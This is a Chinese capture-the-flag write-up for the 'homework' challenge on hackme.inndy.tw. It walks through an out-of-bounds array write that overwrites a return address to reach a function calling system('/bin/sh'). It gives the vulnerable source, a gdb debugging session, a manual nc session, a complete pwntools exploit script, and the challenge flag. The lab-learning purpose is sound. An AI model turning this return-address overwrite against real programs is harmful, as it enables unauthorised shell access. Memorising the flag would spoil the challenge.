homework

[src = hackme] homework

题目描述

1
nc hackme.inndy.tw 7701

Source Code, Index out bound, Return Address

WP

题目提示查看源代码,并且注意索引越界(Index out bound),返回地址。
查看源代码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void run_program()
{
int arr[10], i, v, act;

for(i = 0; i < 10; i++)
arr[i] = 0;

while(1) {
......省略
scanf("%d", &act);

switch(act) {
case 0:
return;
case 1:
printf("Index to edit: ");
scanf("%d", &i);
printf("How many? ");
scanf("%d", &v);
arr[i] = v;
break;
......省略

发现run_program()中定义了一个数组arr[10], 下面可以通过输入设置其值。但是在case1中赋值时没有检查index的值,导致可以输入任意的索引值,即导致任意地址读写。

而且在题目的源码中还给出了一个打开shell的函数:

1
2
3
4
void call_me_maybe()
{
system("/bin/sh");
}

因此只要通过选择合适的Index的值,使得arr[Index]的位置巧合是run_program()函数的返回地址,并且将其值设置为call_me_maybe()的地址,则在run_program()返回时,将调用call_me_maybe()打开shell。
然后按照PWN的基本思路,在shell中通过cat flag获取flag即可。

这需要解决两个问题:

  1. call_me_maybe()的地址;
  2. run_program()函数返回时返回地址与数组arr[10]的index的关系。

第一个问题很容易解决,直接IDA打开homework的二进制程序,就可以看到,如图:
homework
可以看到call_me_maybe()的地址为0x080485FB。

第二个问题:获取run_program()函数返回时返回地址与数组arr[10]的index的关系可以通过运行可执行文件,并使用gdb进行调试得到。为了提高调试效率,建议安装gdb的插件pwndbg,具体安装方法可以查阅相关资料,不再赘述。

首先根据IDA找到case1,在jmp指令(0x080487AF)的位置下断点,来确定index与返回地址位置的关系:

homework

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
bitsec@bitsec-ubuntu:~/hackme/homework$ gdb -q ./homework
pwndbg: loaded 173 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./homework...done.
pwndbg> b *0x080487AF
Breakpoint 1 at 0x80487af: file pwn-easy.c, line 59.
pwndbg> r
Starting program: /home/bitsec/hackme/homework/homework
What's your name? bitsec
0 > exit
1 > edit number
2 > show number
3 > sum
4 > dump all numbers
> 1
Index to edit: 1
How many? 1

此时栈状态如图:

homework

可以看出arr[0]的相对地址为0014,返回地址(标识ebp下面的地址)为004c,差为0x38/4=0xe=14.即arr[14]的位置为返回地址的位置,所以只要将arr[14]赋值为0x080485FB(call_me_maybe()的入口地址,对应的10进制为134514171)就可以打开shell。

其实熟悉栈帧排布的话,直接从IDA–>F5,得到的run_program的源码也能分析出来。如图:

homework

可以看到arr在举例ebp为34h的位置,而ebp下紧挨着就是放回地址,即在ebp+4的位置。所以差为34h+4h=38h,得到同样的结果。

不要忘记,填充完毕之后,还要输入一个0,执行exit,才能从run_program返回,得到shell。

具体过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
bitsec@bitsec-ubuntu:~/hackme/homework$ nc hackme.inndy.tw 7701
What's your name? bitsec
0 > exit
1 > edit number
2 > show number
3 > sum
4 > dump all numbers
> 1
Index to edit: 14
How many? 134514171
0 > exit
1 > edit number
2 > show number
3 > sum
4 > dump all numbers
> 0

cat flag
FLAG{Yoooo, Index Over Flow in my home work......OeAbaFeGeLaF9dEQ}

其实很多情况下通过使用python的pwntool包写pwn的exp程序更有效,上面的过程可以通过下面的代码实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python
# coding=utf-8

from pwn import *

#io = process("./homework") #local debug

io = remote("hackme.inndy.tw", 7701) #remote debug

#Input Name
io.recvuntil("name? ")
io.sendline("Any String")

#overwrite return address
io.recvuntil("dump all numbers")
io.recvuntil(" > ")
io.sendline("1")
io.recvuntil("edit: ")
io.sendline("14")
io.recvuntil("How many? ")
system_addr = 0x080485FB
io.sendline(str(system_addr))

#exit
io.recvuntil("dump all numbers")
io.recvuntil(" > ")
io.sendline("0")

io.interactive()

运行结果如下:

1
2
3
4
5
6
7
8
9
10
bitsec@bitsec-ubuntu:~/hackme/homework$ python homework_exp.py
[+] Opening connection to hackme.inndy.tw on port 7701: Done
[*] Switching to interactive mode
$ ls
flag
homework
run.sh
$ cat flag
FLAG{Yoooo, Index Over Flow in my home work......OeAbaFeGeLaF9dEQ}
$